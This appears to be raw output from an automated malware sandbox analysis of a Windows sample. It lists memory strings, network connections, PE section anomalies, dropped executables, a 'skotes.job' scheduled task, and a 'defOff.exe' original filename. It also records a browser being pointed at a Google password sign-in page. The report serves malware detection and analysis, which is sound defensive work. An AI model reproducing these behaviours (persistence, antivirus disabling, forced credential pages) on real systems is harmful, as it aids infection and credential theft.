Source: 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/Sqlite.sys.mjsgetUserContextIdForOpenPage
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.1342345651.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2286841217.0000000005813000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000024.00000002.2796802534.000001DF1A7A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000024.00000002.2966341812.000001DF2124A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000024.00000002.2557485391.000001DF0EB40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2561696766.000001DF0EE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2561696766.000001DF0EE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.2385943822.0000026D4EA9F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2394336575.0000021827FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd:
Source: firefox.exe, 00000024.00000002.2597900351.000001DF10B0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://addons.mozil

Source: unknown	Network traffic detected: HTTP traffic on port 58220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58217
Source: unknown	Network traffic detected: HTTP traffic on port 58208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58224
Source: unknown	Network traffic detected: HTTP traffic on port 58230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58220
Source: unknown	Network traffic detected: HTTP traffic on port 58234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 58246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58227
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58228
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58233
Source: unknown	Network traffic detected: HTTP traffic on port 58199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58196
Source: unknown	Network traffic detected: HTTP traffic on port 58231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58199
Source: unknown	Network traffic detected: HTTP traffic on port 58228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58231
Source: unknown	Network traffic detected: HTTP traffic on port 58235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58195
Source: unknown	Network traffic detected: HTTP traffic on port 58249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58194
Source: unknown	Network traffic detected: HTTP traffic on port 58195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 58241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58241
Source: unknown	Network traffic detected: HTTP traffic on port 58206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58243
Source: unknown	Network traffic detected: HTTP traffic on port 58194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58208
Source: unknown	Network traffic detected: HTTP traffic on port 58202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58206
Source: unknown	Network traffic detected: HTTP traffic on port 58233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58251
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:58231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:58238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:58243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:58246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58254 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: ee3f3c2bda.exe, 00000016.00000000.2350655418.0000000000BE2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_c4391797-a
Source: ee3f3c2bda.exe, 00000016.00000000.2350655418.0000000000BE2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_6d31fc1d-e

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name:
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: .idata
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name:
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: .idata
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: .idata
Source: skotes.exe.11.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: 100bc97ff1.exe.17.dr	Static PE information: section name:
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name:
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: .rsrc
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: .idata
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name:
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name:
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.17.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.17.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0573DB4A	0_3_0573DB4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0573DBBF	0_3_0573DBBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113923A	0_3_0113923A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011392AF	0_3_011392AF
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Code function: 10_2_00256000	10_2_00256000
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Code function: 10_2_00262C13	10_2_00262C13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_0042E530	17_2_0042E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00467049	17_2_00467049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00468860	17_2_00468860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_004678BB	17_2_004678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00462D10	17_2_00462D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00424DE0	17_2_00424DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_004631A8	17_2_004631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00424B30	17_2_00424B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00457F36	17_2_00457F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_0046779B	17_2_0046779B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 0113DC53 appears 54 times

Source: file.exe, 00000000.00000003.1470677157.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477743915.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473594305.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474484221.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466976011.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469376515.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466371256.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466554825.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469882827.0000000005C80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470132098.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1484264953.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476837476.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475654952.0000000005CC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1480927637.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466810124.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477377730.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466721289.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1468904608.0000000005C76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466639012.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473372445.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470866644.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472103127.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1480054877.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1479879554.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477250200.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475088907.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470312077.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475406835.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469477270.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471263992.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469678819.0000000005C73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473710021.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1468704234.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1485182943.0000000005D08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463932383.0000000005A31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471560961.0000000005C9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474720752.0000000005CCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
